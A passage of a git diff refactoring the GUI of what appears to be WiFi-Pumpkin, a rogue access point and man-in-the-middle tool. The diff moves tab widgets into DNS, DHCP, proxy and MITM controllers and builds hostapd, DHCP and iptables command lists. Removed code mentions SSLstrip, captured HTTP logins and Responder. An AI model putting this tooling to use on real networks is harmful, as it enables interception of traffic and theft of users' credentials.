')) self.formMode.addRow(QtGui.QLabel('Yasin Uludag')) diff --git a/core/loaders/checker/depedences.py b/core/loaders/checker/depedences.py index e0a3196..dfeeb21 100644 --- a/core/loaders/checker/depedences.py +++ b/core/loaders/checker/depedences.py @@ -14,6 +14,8 @@ def check_dep_pumpkin(): # checck source.tar.gz tamplate module if not path.isfile(C.TEMPLATES): system(C.EXTRACT_TEMP) + if not path.isabs(C.TEMPLATES_WWW): + system(C.EXTRACT_WWW) # check if hostapd is found and save path settings = SettingsINI(C.CONFIG_INI) diff --git a/core/loaders/checker/networkmanager.py b/core/loaders/checker/networkmanager.py index 7eec38b..71608ad 100755 --- a/core/loaders/checker/networkmanager.py +++ b/core/loaders/checker/networkmanager.py @@ -31,7 +31,7 @@ def __init__(self, app,parent = None): self.label = QtGui.QLabel() self.app = app self.Main = QtGui.QVBoxLayout() - self.config = frm_Settings() + self.config = frm_Settings.instances[0] self.setGeometry(0, 0, 300, 120) self.setWindowTitle('Checking Connection') self.loadtheme(self.config.get_theme_qss()) diff --git a/core/loaders/models/PackagesUI.py b/core/loaders/models/PackagesUI.py index 501e7e0..c9bba35 100644 --- a/core/loaders/models/PackagesUI.py +++ b/core/loaders/models/PackagesUI.py @@ -35,7 +35,7 @@ def __init__(self,parent=None,*args): super(PumpkinModule, self).__init__(parent) self.setWindowIcon(QtGui.QIcon('icons/icon.ico')) self.module_network = Refactor - self.configure = frm_Settings() + self.configure = frm_Settings.instances[0] self.Ftemplates = frm_PhishingManager() self.interfaces = Refactor.get_interfaces() self.loadtheme(self.configure.get_theme_qss()) diff --git a/core/main.py b/core/main.py index b58d1ac..29be945 100644 --- a/core/main.py +++ b/core/main.py @@ -3,45 +3,18 @@ from PyQt4 import QtGui from PyQt4 import QtCore from json import dumps,loads -from pwd import getpwnam -from grp import getgrnam from time import asctime from shutil import move -from re import search,sub -from platform import dist -from netaddr import EUI -from collections import OrderedDict -from shlex import split - -from os import ( - system,path,getcwd, - popen,listdir,mkdir,chown -) -from subprocess import ( - Popen,PIPE,call,check_output, -) +from re import search +from os import path,popen,mkdir +from subprocess import Popen,PIPE from core.utils import ( - Refactor,set_monitor_mode,waiterSleepThread, - setup_logger,is_ascii,is_hexadecimal,exec_bash,del_item_folder -) -from core.widgets.tabmodels import ( - ProxySSLstrip,PumpkinMitmproxy,PumpkinMonitor, - PumpkinSettings,PacketsSniffer,ImageCapture,StatusAccessPoint -) - -from core.widgets.popupmodels import ( - PopUpPlugins -) - -from core.utility.threads import ( - ProcessHostapd,Thread_sergioProxy, - ThRunDhcp,Thread_sslstrip,ProcessThread, - ThreadReactor,ThreadPopen,ThreadPumpkinProxy + Refactor,set_monitor_mode, + waiterSleepThread,exec_bash,del_item_folder ) -from core.widgets.customiseds import AutoTableWidget -from plugins.external.scripts import * +from core.utility.threads import ThreadReactor,ThreadPopen import modules as GUIModules from core.helpers.about import frmAbout from core.helpers.update import frm_githubUpdate @@ -49,18 +22,20 @@ import core.utility.constants as C from core.helpers.update import ProgressBarWid from core.helpers.report import frm_ReportLogger -from core.packets.dhcpserver import DHCPServer,DNSServer from core.widgets.notifications import ServiceNotify -from isc_dhcp_leases.iscdhcpleases import IscDhcpLeases from netfilterqueue import NetfilterQueue -from core.servers.proxy.tcp.intercept import ThreadSniffingPackets +from core.widgets.default import * +from core.defaultwidget import * + +from core.controllers.wirelessmodecontroller import * +from core.controllers.dnscontroller import * +from core.controllers.dhcpcontroller import * +from core.controllers.proxycontroller import * +from core.controllers.mitmcontroller import * +from core.servers.dhcp.dhcp import * + +approot = QtCore.QCoreApplication.instance() -pump_proxy_lib = True #check package is installed -try: - from mitmproxy import proxy, flow, options - from mitmproxy.proxy.server import ProxyServer -except ImportError as e: - pump_proxy_lib = False """ Description: @@ -95,21 +70,15 @@ class Initialize(QtGui.QMainWindow): ''' Main window settings multi-window opened''' def __init__(self, parent=None): super(Initialize, self).__init__(parent) - self.FSettings = frm_Settings() - - # check mitmproxy lib is installed - if not pump_proxy_lib and self.FSettings.Settings.get_setting('plugins', - 'pumpkinproxy_plugin', format=bool): - self.FSettings.Settings.set_setting('plugins', 'pumpkinproxy_plugin', False) - self.FSettings.Settings.set_setting('plugins', 'dns2proxy_plugin', True) - self.form_widget = WifiPumpkin(self) + self.FSettings = frm_Settings.instances[0] + self.UI = WifiPumpkin(self) #for exclude USB adapter if the option is checked in settings tab self.networkcontrol = None # create advanced mode support dock = QtGui.QDockWidget() dock.setTitleBarWidget(QtGui.QWidget()) - dock.setWidget(self.form_widget) + dock.setWidget(self.UI) dock.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) dock.setFeatures(QtGui.QDockWidget.NoDockWidgetFeatures) dock.setAllowedAreas(QtCore.Qt.AllDockWidgetAreas) @@ -119,6 +88,11 @@ def __init__(self, parent=None): self.setGeometry(0, 0, C.GEOMETRYH, C.GEOMETRYW) # set geometry window self.loadtheme(self.FSettings.get_theme_qss()) + def passSettings(self): + global approot + #self.FSettings = approot.Settings + #print self.FSettings + def loadtheme(self,theme): ''' load Theme from file .qss ''' sshFile=("core/%s.qss"%(theme)) @@ -134,11 +108,13 @@ def center(self): def closeEvent(self, event): ''' When the user clicks on the X button ''' - if self.form_widget.THReactor.isRunning(): - self.form_widget.THReactor.stop() + if self.UI.THReactor.isReactorRunning: + self.UI.THReactor.stop() + if self.UI.THReactor.isRunning(): + self.UI.THReactor.stop() # remove card apdater from network-manager conf - if not self.form_widget.FSettings.Settings.get_setting( + if not self.FSettings.Settings.get_setting( 'accesspoint','persistNetwokManager',format=bool): if self.networkcontrol != None: self.networkcontrol.remove_settingsNM() @@ -156,24 +132,39 @@ def closeEvent(self, event): return event.ignore() # check is Rouge AP is running - if self.form_widget.Apthreads['RougeAP'] != []: + if self.UI.Apthreads['RogueAP'] != []: self.reply = QtGui.QMessageBox.question(self, 'About Access Point','Are you sure to stop all threads AP ?', QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) if self.reply == QtGui.QMessageBox.Yes: print('killing all threads...') - self.form_widget.stop_access_point() + self.UI.stop_access_point() return event.accept() return event.ignore() return event.accept() class WifiPumpkin(QtGui.QWidget): ''' load main window class''' + currentSessionID = "" + instances=[] + Apthreads = {'RogueAP': []} + SettingsEnable = { + 'ProgCheck': [], + 'AP_iface': None, + 'PortRedirect': None, + 'interface': 'None', + } + APclients = {} + SettingsAP = {} + SessionsAP = {} + def __init__(self, mainWindow): - QtGui.QWidget.__init__(self) + super(WifiPumpkin,self).__init__() + self.__class__.instances.append(weakref.proxy(self)) self.mainWindow = mainWindow self.InternetShareWiFi = True # share internet options + # check update from github repository self.Timer = waiterSleepThread() self.Timer.quit.connect(self.get_status_new_commits) @@ -184,20 +175,16 @@ def __init__(self, mainWindow): self.UpdateSoftware.checkUpdate() self.Timer.start() + # define all Widget TABs self.MainControl = QtGui.QVBoxLayout() self.TabControl = QtGui.QTabWidget() - self.Tab_Default = QtGui.QWidget() - self.Tab_Injector = QtGui.QWidget() - self.Tab_PumpkinPro = QtGui.QWidget() - self.Tab_Packetsniffer = QtGui.QWidget() - self.Tab_statusAP = QtGui.QWidget() - self.Tab_imageCap = QtGui.QWidget() - self.Tab_Settings = QtGui.QWidget() - self.Tab_ApMonitor = QtGui.QWidget() - self.Tab_Plugins = QtGui.QWidget() + #self.Tab_Plugins = QtGui.QWidget() self.Tab_dock = QtGui.QMainWindow() # for dockarea self.FSettings = self.mainWindow.FSettings + self.LeftTabBar = QtGui.QListWidget() + self.Stack = QtGui.QStackedWidget(self) + self.Stack.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) # create dockarea in Widget class self.dock = QtGui.QDockWidget() @@ -206,146 +193,213 @@ def __init__(self, mainWindow): self.dock.setFeatures(QtGui.QDockWidget.NoDockWidgetFeatures) self.dock.setAllowedAreas(QtCore.Qt.AllDockWidgetAreas) - # icons menus left widgets - self.TabListWidget_Menu = QtGui.QListWidget() - self.item_home = QtGui.QListWidgetItem() - self.item_home.setText('Home') - self.item_home.setSizeHint(QtCore.QSize(30,30)) - self.item_home.setIcon(QtGui.QIcon('icons/home.png')) - self.TabListWidget_Menu.addItem(self.item_home) - - self.item_settings = QtGui.QListWidgetItem() - self.item_settings.setText('Settings') - self.item_settings.setSizeHint(QtCore.QSize(30,30)) - self.item_settings.setIcon(QtGui.QIcon('icons/settings-AP.png')) - self.TabListWidget_Menu.addItem(self.item_settings) - - self.item_plugins =QtGui.QListWidgetItem() - self.item_plugins.setText('Plugins') - self.item_plugins.setSizeHint(QtCore.QSize(30,30)) - self.item_plugins.setIcon(QtGui.QIcon('icons/plugins-new.png')) - self.TabListWidget_Menu.addItem(self.item_plugins) - - self.item_injector = QtGui.QListWidgetItem() - self.item_injector.setText('SSLstrip-Proxy') - self.item_injector.setSizeHint(QtCore.QSize(30,30)) - self.item_injector.setIcon(QtGui.QIcon('icons/mac.png')) - self.TabListWidget_Menu.addItem(self.item_injector) - - self.item_pumpkinProxy = QtGui.QListWidgetItem() - self.item_pumpkinProxy.setText('Pumpkin-Proxy') - self.item_pumpkinProxy.setSizeHint(QtCore.QSize(30,30)) - self.item_pumpkinProxy.setIcon(QtGui.QIcon('icons/pumpkinproxy.png')) - self.TabListWidget_Menu.addItem(self.item_pumpkinProxy) - - self.item_packetsniffer = QtGui.QListWidgetItem() - self.item_packetsniffer.setText('TCP-Proxy') - self.item_packetsniffer.setSizeHint(QtCore.QSize(30,30)) - self.item_packetsniffer.setIcon(QtGui.QIcon('icons/tcpproxy.png')) - self.TabListWidget_Menu.addItem(self.item_packetsniffer) - - self.item_imageCapture = QtGui.QListWidgetItem() - self.item_imageCapture.setText('Images-Cap') - self.item_imageCapture.setSizeHint(QtCore.QSize(30,30)) - self.item_imageCapture.setIcon(QtGui.QIcon('icons/image.png')) - self.TabListWidget_Menu.addItem(self.item_imageCapture) - - self.item_dock = QtGui.QListWidgetItem() - self.item_dock.setText('Activity-Monitor') - self.item_dock.setSizeHint(QtCore.QSize(30,30)) - self.item_dock.setIcon(QtGui.QIcon('icons/activity-monitor.png')) - self.TabListWidget_Menu.addItem(self.item_dock) - - self.item_monitor = QtGui.QListWidgetItem() - self.item_monitor.setText('Stations') - self.item_monitor.setSizeHint(QtCore.QSize(30,30)) - self.item_monitor.setIcon(QtGui.QIcon('icons/stations.png')) - self.TabListWidget_Menu.addItem(self.item_monitor) - self.Stack = QtGui.QStackedWidget(self) - self.Stack.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) - self.Tab_Default.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) - self.Stack.addWidget(self.Tab_Default) - self.TabListWidget_Menu.currentRowChanged.connect(self.set_index_leftMenu) - self.TabListWidget_Menu.setFixedWidth(140) - self.TabListWidget_Menu.setStyleSheet(C.MENU_STYLE) + #TODO This is a new Implementation to simplify development + self.coreui = DefaultWidget(self) + self.wireless = WirelessModeController(self) + self.dnsserver = DNSController(self) + self.dnsDockList = [] + self.dnsserver.dockMount.connect(self.dnsDockAdd) + + self.proxy = self.coreui.Plugins.Proxy + self.proxy.dockMount.connect(self.proxyDockAdd) + self.proxyDocklist = [] + self.mitmhandler = self.coreui.Plugins.MITM + self.mitmDockList=[] + self.AreaDockInfo=[] + self.mitmhandler.dockMount.connect(self.mitmDockAdd) + + #TODO Might need improvement, checking if the program needed are installed + + lista = ['', '', + popen('which driftnet').read().split('\n')[0], + popen('which dhcpd').read().split("\n")[0], '', + popen('which hostapd').read().split("\n")[0], + popen('which xterm').read().split("\n")[0] + ] + for i in lista: self.SettingsEnable['ProgCheck'].append(path.isfile(i)) + + self.LeftTabBar.currentRowChanged.connect(self.set_index_leftMenu) + self.LeftTabBar.setFixedWidth(170) + self.LeftTabBar.setStyleSheet(C.MENU_STYLE) # add in Tab default widget TABs - # create Layout for add contents widgets TABs - self.ContentTabHome = QtGui.QVBoxLayout(self.Tab_Default) - self.ContentTabsettings= QtGui.QVBoxLayout(self.Tab_Settings) - self.ContentTabInject = QtGui.QVBoxLayout(self.Tab_Injector) - self.ContentTabPumpPro = QtGui.QVBoxLayout(self.Tab_PumpkinPro) - self.ContentTabPackets = QtGui.QVBoxLayout(self.Tab_Packetsniffer) - self.ContentImageCap = QtGui.QHBoxLayout(self.Tab_imageCap) - self.ContentTabMonitor = QtGui.QVBoxLayout(self.Tab_ApMonitor) - self.ContentTabPlugins = QtGui.QVBoxLayout(self.Tab_Plugins) - self.ContentTabStatus = QtGui.QVBoxLayout(self.Tab_statusAP) - self.Stack.addWidget(self.Tab_Settings) - self.Stack.addWidget(self.Tab_Plugins) - self.Stack.addWidget(self.Tab_Injector) - self.Stack.addWidget(self.Tab_PumpkinPro) - self.Stack.addWidget(self.Tab_Packetsniffer) - self.Stack.addWidget(self.Tab_imageCap) - self.Stack.addWidget(self.Tab_dock) - self.Stack.addWidget(self.Tab_ApMonitor) - - self.Apthreads = {'RougeAP': []} - self.APclients = {} - # settings advanced mode status - self.AreaDockInfo = { - 'HTTP-Requests': { # netcreds url requests - 'active' : self.FSettings.Settings.get_setting('dockarea', - 'dock_urlmonitor',format=bool), - }, - 'HTTP-Authentication': { # netcreds passwords logins - 'active' : self.FSettings.Settings.get_setting('dockarea', - 'dock_credencials',format=bool), - }, - 'BDFProxy': { # plugins bdfproxy ouput - 'active' : self.FSettings.Settings.get_setting('dockarea', - 'dock_bdfproxy',format=bool), - }, - 'Dns2Proxy': { # plugins dns2proxy output - 'active' : self.FSettings.Settings.get_setting('dockarea', - 'dock_dns2proxy',format=bool), - }, - 'Responder': { # plugins responder output - 'active' : self.FSettings.Settings.get_setting('dockarea', - 'dock_Responder',format=bool), - }, - 'PumpkinProxy': { # plugins Pumpkin-Proxy output - 'active' : self.FSettings.Settings.get_setting('dockarea', - 'dock_PumpkinProxy',format=bool), - } - } - self.SettingsEnable = { - 'ProgCheck':[],'AP_iface': None,'PortRedirect': None, 'interface':'None'} - self.THeaders = OrderedDict([ ('Devices',[]),('IP Address',[]),('Mac Address',[]),('Vendors',[])]) - # load all session saved in file ctg - self.status_plugin_proxy_name = QtGui.QLabel('') # status name proxy activated + self.status_plugin_proxy_name = QtGui.QLabel('') # status name proxy activated + self.SessionsAP = loads(str(self.FSettings.Settings.get_setting('accesspoint','sessions'))) - self.PopUpPlugins = PopUpPlugins(self.FSettings,self) # create popupPlugins - self.PopUpPlugins.sendSingal_disable.connect(self.get_disable_proxy_status) + self.THReactor = ThreadReactor() # thread reactor for sslstrip self.window_phishing = GUIModules.frm_PhishingManager() + # TODO Refactored default widget + self.index = 0 + indexpass = False + for v in sorted(self.coreui.allui): + if v.Name == "Home": + indexpass =True + + self.LeftTabBar.addItem(v.tabinterface) + self.Stack.addWidget(v) + setattr(self, v.ID, v) + if not indexpass: + self.index+=1 + # self.proxy.sendSingal_disable.connect(self.get_disable_proxy_status) + self.proxy.SetNoProxy.connect(self. + get_disable_proxy_status) + #TODO DHCP Configuration Definition + for v in self.proxy.get.values(): + if not v.Hidden: + self.LeftTabBar.addItem(v.tabinterface) + self.Stack.addWidget(v) + if self.proxy.isChecked(): + # v.sendSingal_disable.connect(self.get_disable_proxy_status) + if v.controlui.isChecked(): + if v.Name == "No Proxy": + self.set_proxy_statusbar('', disabled=True) + v.sendSingal_disable.emit(v.controlui.isChecked()) + else: + self.set_proxy_statusbar(v.Name) + else: + self.set_proxy_statusbar('', disabled=True) + v.sendSingal_disable.emit(v.controlui.isChecked()) + self.DHCP = self.SessionConfig.DHCP.conf + self.dhcpcontrol = DHCPController(self) + self.SettingsAP = { + 'interface': + [ + 'ifconfig %s up' % (self.SessionConfig.Wireless.WLANCard.currentText()), + 'ifconfig %s %s netmask %s' % ( + self.SessionConfig.Wireless.WLANCard.currentText(), + self.DHCP['router'], + self.DHCP['netmask']), + 'ifconfig %s mtu 1400' % (self.SessionConfig.Wireless.WLANCard.currentText()), + 'route add -net %s netmask %s gw %s' % (self.DHCP['subnet'], + self.DHCP['netmask'], self.DHCP['router']) + ], + 'kill': + [ + 'iptables --flush', + 'iptables --table nat --flush', + 'iptables --delete-chain', + 'iptables --table nat --delete-chain', + 'ifconfig %s 0' % (self.SessionConfig.Wireless.WLANCard.currentText()), + 'killall dhpcd 2>/dev/null', + ], + 'hostapd': + [ + 'interface={}\n'.format(str(self.SessionConfig.Wireless.WLANCard.currentText())), + 'ssid={}\n'.format(str(self.SessionConfig.Wireless.EditSSID.text())), + 'channel={}\n'.format(str(self.SessionConfig.Wireless.EditChannel.value())), + 'bssid={}\n'.format(str(self.SessionConfig.Wireless.EditBSSID.text())), + ], + 'dhcp-server': + [ + 'authoritative;\n', + 'default-lease-time {};\n'.format(self.DHCP['leasetimeDef']), + 'max-lease-time {};\n'.format(self.DHCP['leasetimeMax']), + 'subnet %s netmask %s {\n' % (self.DHCP['subnet'], self.DHCP['netmask']), + 'option routers {};\n'.format(self.DHCP['router']), + 'option subnet-mask {};\n'.format(self.DHCP['netmask']), + 'option broadcast-address {};\n'.format(self.DHCP['broadcast']), + 'option domain-name \"%s\";\n' % (str(self.SessionConfig.Wireless.EditSSID.text())), + 'option domain-name-servers {};\n'.format('8.8.8.8'), + 'range {};\n'.format(self.DHCP['range'].replace('/', ' ')), + '}', + ], + } self.initial_GUI_loader() + self.proxy.Active.dockwidget.addDock.emit(self.proxy.Active.controlui.isChecked()) + for mitm in self.mitmhandler.Active: + mitm.dockwidget.addDock.emit(mitm.controlui.isChecked()) + self.DockArrage() + + def updateSettingsAP(self): + self.SettingsAP = { + 'interface': + [ + 'ifconfig %s up' % (self.SessionConfig.Wireless.WLANCard.currentText()), + 'ifconfig %s %s netmask %s' % ( + self.SessionConfig.Wireless.WLANCard.currentText(), + self.DHCP['router'], + self.DHCP['netmask']), + 'ifconfig %s mtu 1400' % (self.SessionConfig.Wireless.WLANCard.currentText()), + 'route add -net %s netmask %s gw %s' % (self.DHCP['subnet'], + self.DHCP['netmask'], self.DHCP['router']) + ], + 'kill': + [ + 'iptables --flush', + 'iptables --table nat --flush', + 'iptables --delete-chain', + 'iptables --table nat --delete-chain', + 'ifconfig %s 0' % (self.SessionConfig.Wireless.WLANCard.currentText()), + 'killall dhpcd 2>/dev/null', + ], + 'hostapd': + [ + 'interface={}\n'.format(str(self.SessionConfig.Wireless.WLANCard.currentText())), + 'ssid={}\n'.format(str(self.wireless.Activated.Settings.EditSSID.text())), + 'channel={}\n'.format(str(self.wireless.Activated.Settings.EditChannel.value())), + 'bssid={}\n'.format(str(self.wireless.Activated.Settings.EditBSSID.text())), + ], + 'dhcp-server': + [ + 'authoritative;\n', + 'default-lease-time {};\n'.format(self.DHCP['leasetimeDef']), + 'max-lease-time {};\n'.format(self.DHCP['leasetimeMax']), + 'subnet %s netmask %s {\n' % (self.DHCP['subnet'], self.DHCP['netmask']), + 'option routers {};\n'.format(self.DHCP['router']), + 'option subnet-mask {};\n'.format(self.DHCP['netmask']), + 'option broadcast-address {};\n'.format(self.DHCP['broadcast']), + 'option domain-name \"%s\";\n' % (str(self.wireless.Activated.Settings.EditSSID.text())), + 'option domain-name-servers {};\n'.format('8.8.8.8'), + 'range {};\n'.format(self.DHCP['range'].replace('/', ' ')), + '}', + ], + } + + def mitmDockAdd(self,adding=True): + for dck in self.mitmDockList: + dck.close() + self.ActivityMonitor.Dock.removeDockWidget(dck) + self.mitmDockList=[] + self.mitmDockList.extend(self.mitmhandler.ActiveDock) + self.DockArrage() + + def dnsDockAdd(self,adding=True): + for dck in self.dnsDockList: + dck.close() + self.ActivityMonitor.Dock.removeDockWidget(dck) + self.dnsDockList=[] + self.dnsDockList.insert(0,self.dnsserver.Active.dockwidget) + self.DockArrage() + + def proxyDockAdd(self,adding=True): + for dck in self.proxyDocklist: + dck.close() + self.ActivityMonitor.Dock.removeDockWidget(dck) + self.proxyDocklist=[] + self.proxyDocklist.insert(0, self.proxy.Active.dockwidget) + self.DockArrage() + + + def DockArrage(self): + #TODO Find how to refresh dockarea + self.AreaDockInfo=[] + self.AreaDockInfo.insert(0,self.proxyDocklist[0]) + self.AreaDockInfo.extend(self.dnsDockList) + self.AreaDockInfo.extend(self.mitmDockList) + for dock in self.AreaDockInfo: + self.ActivityMonitor.Dock.addDockWidget(QtCore.Qt.LeftDockWidgetArea, dock) + dock.show() + if len(self.AreaDockInfo) > 1: + for index in range(1, len(self.AreaDockInfo) - 1): + self.ActivityMonitor.Dock.tabifyDockWidget(self.AreaDockInfo[index], + self.AreaDockInfo[index + 1]) + self.AreaDockInfo[0].raise_() def initial_GUI_loader(self): ''' configure GUI default window ''' - self.default_TAB_Content() - self.injector_TAB_Content() - self.pumpkinProxy_TAB_Content() - self.tcpproxy_TAB_Content() - self.imageCapture_TAB_Content() - self.settings_TAB_Content() - self.apMonitor_Tab_Content() - self.plugins_TAB_Content() - self.statusAP_TAB_Content() - - self.layout.addLayout(self.StatusAPTAB) # add info tab in home page - self.StatusAPTAB.scroll.setFixedHeight(210) - self.check_plugins_enable() # check plugins activated + self.SetupUI() self.myQMenuBar = QtGui.QMenuBar(self) Menu_file = self.myQMenuBar.addMenu('&File') @@ -356,6 +410,7 @@ def initial_GUI_loader(self): Menu_file.addAction(exportAction) Menu_file.addAction(deleteAction) deleteAction.triggered.connect(self.clean_all_loggers) + exportAction.triggered.connect(self.show_exportlogger) action_settings = QtGui.QAction('Settings...',self) Menu_file.addAction(action_settings) @@ -454,73 +509,31 @@ def initial_GUI_loader(self): # create Horizontal widgets hbox = QtGui.QHBoxLayout() - self.hBoxbutton.addWidget(self.TabListWidget_Menu) + self.hBoxbutton.addWidget(self.LeftTabBar) self.hBoxbutton.addWidget(self.progress) # add button start and stop hbox.addLayout(self.hBoxbutton) hbox.addWidget(self.Stack) self.boxHome.addLayout(hbox) self.boxHome.addWidget(self.StatusBar) - self.TabListWidget_Menu.setCurrentRow(0) + self.LeftTabBar.setCurrentRow(self.index) self.setLayout(self.boxHome) - def injector_TAB_Content(self): - ''' add Layout page Pump-Proxy in dashboard ''' - self.ProxyPluginsTAB = ProxySSLstrip(self.PopUpPlugins,self,self.FSettings) - self.ProxyPluginsTAB.sendError.connect(self.get_Error_Injector_tab) - self.ContentTabInject.addLayout(self.ProxyPluginsTAB) - - def pumpkinProxy_TAB_Content(self): - ''' add Layout page PumpkinProxy in dashboard ''' - self.PumpkinProxyTAB = PumpkinMitmproxy(self) - if not pump_proxy_lib: - infoLabel = ServiceNotify(C.PUMPKINPROXY_notify,title='Package Requirement') - self.ContentTabPumpPro.addWidget(infoLabel) - self.ContentTabPumpPro.addLayout(self.PumpkinProxyTAB) - - def statusAP_TAB_Content(self): - ''' add Layout page PumpkinProxy in dashboard ''' - self.StatusAPTAB = StatusAccessPoint(self) - #self.ContentTabStatus.addLayout(self.StatusAPTAB) - - def tcpproxy_TAB_Content(self): - ''' add Layout page PumpkinProxy in dashboard ''' - self.PacketSnifferTAB = PacketsSniffer(self) - self.ContentTabPackets.addLayout(self.PacketSnifferTAB) - - def imageCapture_TAB_Content(self): - ''' add Layout page PumpkinProxy in dashboard ''' - self.ImageCapTAB = ImageCapture(self) - self.ContentImageCap.addLayout(self.ImageCapTAB) - - def apMonitor_Tab_Content(self): - ''' add Layout page Pump-Monitor in dashboard ''' - self.PumpMonitorTAB = PumpkinMonitor(self.FSettings) - self.ContentTabMonitor.addLayout(self.PumpMonitorTAB) - - def settings_TAB_Content(self): - ''' add Layout page Pump-settings in dashboard ''' - widgets = {'SettingsAP': self.slipt, 'DockInfo': self.AreaDockInfo, - 'Tab_dock': self.Tab_dock, 'Settings': self.FSettings,'Network': self.GroupAdapter} - self.PumpSettingsTAB = PumpkinSettings(None,widgets) - self.PumpSettingsTAB.checkDockArea.connect(self.get_Content_Tab_Dock) - self.PumpSettingsTAB.sendMensage.connect(self.set_dhcp_setings_ap) - self.DHCP = self.PumpSettingsTAB.getPumpkinSettings() - self.ContentTabsettings.addLayout(self.PumpSettingsTAB) - self.deleteObject(widgets) - - def plugins_TAB_Content(self): - ''' add Layout page Pump-plugins in dashboard ''' - self.ContentTabPlugins.addLayout(self.PopUpPlugins) - - def default_TAB_Content(self): + + + def SetupUI(self): ''' configure all widget in home page ''' self.StatusBar = QtGui.QStatusBar() self.StatusBar.setFixedHeight(23) self.connectedCount = QtGui.QLabel('') self.status_ap_runing = QtGui.QLabel('') self.connected_status = QtGui.QLabel('') + self.set_status_label_AP(False) + self.progress = ProgressBarWid(total=101) + self.progress.setFixedHeight(13) + self.progress.setFixedWidth(170) + #self.progress.setFixedWidth(140) # add widgets in status bar self.StatusBar.addWidget(QtGui.QLabel('Connection:')) self.StatusBar.addWidget(self.connected_status) @@ -529,121 +542,18 @@ def default_TAB_Content(self): self.StatusBar.addWidget(QtGui.QLabel("Status-AP:")) self.StatusBar.addWidget(self.status_ap_runing) - self.set_status_label_AP(False) - self.progress = ProgressBarWid(total=101) - self.progress.setFixedHeight(13) - self.progress.setFixedWidth(140) - self.StatusBar.addWidget(QtGui.QLabel(''),20) self.StatusBar.addWidget(QtGui.QLabel("Clients:")) self.connectedCount.setText("0") self.connectedCount.setStyleSheet("QLabel { color : yellow; }") self.StatusBar.addWidget(self.connectedCount) + + self.EditGateway = QtGui.QLineEdit(self) - self.EditApName = QtGui.QLineEdit(self) - self.EditBSSID = QtGui.QLineEdit(self) - self.btn_random_essid = QtGui.QPushButton(self) - self.EditChannel =QtGui.QSpinBox(self) - self.EditChannel.setMinimum(1) - self.EditChannel.setMaximum(13) - self.EditChannel.setFixedWidth(50) self.EditGateway.setFixedWidth(120) - self.EditGateway.setHidden(True) # disable Gateway - self.selectCard = QtGui.QComboBox(self) - self.btn_random_essid.clicked.connect(self.setAP_essid_random) - self.btn_random_essid.setIcon(QtGui.QIcon('icons/refresh.png')) - - # table information AP connected - self.TabInfoAP = AutoTableWidget() - self.TabInfoAP.setRowCount(50) - self.TabInfoAP.resizeRowsToContents() - self.TabInfoAP.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) - self.TabInfoAP.horizontalHeader().setStretchLastSection(True) - self.TabInfoAP.setSelectionMode(QtGui.QAbstractItemView.NoSelection) - self.TabInfoAP.setEditTriggers(QtGui.QAbstractItemView.NoEditTriggers) - self.TabInfoAP.verticalHeader().setVisible(False) - self.TabInfoAP.setHorizontalHeaderLabels(self.THeaders.keys()) - self.TabInfoAP.verticalHeader().setDefaultSectionSize(23) - self.TabInfoAP.horizontalHeader().resizeSection(3,158) - self.TabInfoAP.horizontalHeader().resizeSection(0,150) - self.TabInfoAP.horizontalHeader().resizeSection(2,120) - self.TabInfoAP.horizontalHeader().resizeSection(1,120) - self.TabInfoAP.setSortingEnabled(True) - self.TabInfoAP.setObjectName('table_clients') - + self.EditGateway.setHidden(True) # disable Gateway #edits self.set_initials_configsGUI() - self.FormGroup2 = QtGui.QFormLayout() - self.FormGroup3 = QtGui.QGridLayout() - - # popupMenu HTTP server quick start - - # grid network adapter fix - self.btrn_refresh = QtGui.QPushButton('Refresh') - self.btrn_refresh.setIcon(QtGui.QIcon('icons/refresh.png')) - self.btrn_refresh.clicked.connect(self.set_interface_wireless) - self.btrn_refresh.setFixedWidth(90) - self.btrn_refresh.setFixedHeight(25) - - self.btrn_find_Inet = QtGui.QPushButton('Check Network Connection') - self.btrn_find_Inet.setIcon(QtGui.QIcon('icons/router2.png')) - self.btrn_find_Inet.clicked.connect(self.check_NetworkConnection) - self.btrn_find_Inet.setFixedHeight(25) - self.btrn_find_Inet.setFixedWidth(220) - - # group for list network adapters - self.GroupAdapter = QtGui.QGroupBox() - self.layoutNetworkAd = QtGui.QHBoxLayout() - self.GroupAdapter.setTitle('Network Adapter') - self.layoutNetworkAd.addWidget(self.selectCard) - self.layoutNetworkAd.addWidget(self.btrn_refresh) - self.layoutNetworkAd.addWidget(self.btrn_find_Inet) - self.GroupAdapter.setLayout(self.layoutNetworkAd) - - # settings info access point - self.GroupAP = QtGui.QGroupBox() - self.GroupAP.setTitle('Access Point') - self.FormGroup3.addWidget(QtGui.QLabel("SSID:"),0,0) - self.FormGroup3.addWidget(self.EditApName,0,1) - self.FormGroup3.addWidget(QtGui.QLabel("BSSID:"), 1, 0) - self.FormGroup3.addWidget(self.EditBSSID, 1, 1) - self.FormGroup3.addWidget(self.btn_random_essid, 1, 2) - self.FormGroup3.addWidget(QtGui.QLabel("Channel:"),2,0) - self.FormGroup3.addWidget(self.EditChannel,2,1) - self.GroupAP.setLayout(self.FormGroup3) - self.GroupAP.setFixedWidth(260) - - # create widgets for Wireless Security options - self.GroupApPassphrase = QtGui.QGroupBox() - self.GroupApPassphrase.setTitle('Enable Wireless Security') - self.GroupApPassphrase.setCheckable(True) - self.GroupApPassphrase.setChecked(self.FSettings.Settings.get_setting('accesspoint','enable_Security',format=bool)) - self.GroupApPassphrase.clicked.connect(self.check_StatusWPA_Security) - self.layoutNetworkPass = QtGui.QGridLayout() - self.editPasswordAP = QtGui.QLineEdit(self.FSettings.Settings.get_setting('accesspoint','WPA_SharedKey')) - self.WPAtype_spinbox = QtGui.QSpinBox() - self.wpa_pairwiseCB = QtGui.QComboBox() - self.lb_type_security = QtGui.QLabel() - wpa_algotims = self.FSettings.Settings.get_setting('accesspoint','WPA_Algorithms') - self.wpa_pairwiseCB.addItems(C.ALGORITMS) - self.wpa_pairwiseCB.setCurrentIndex(C.ALGORITMS.index(wpa_algotims)) - self.WPAtype_spinbox.setMaximum(2) - self.WPAtype_spinbox.setMinimum(0) - self.WPAtype_spinbox.setValue(self.FSettings.Settings.get_setting('accesspoint','WPA_type',format=int)) - 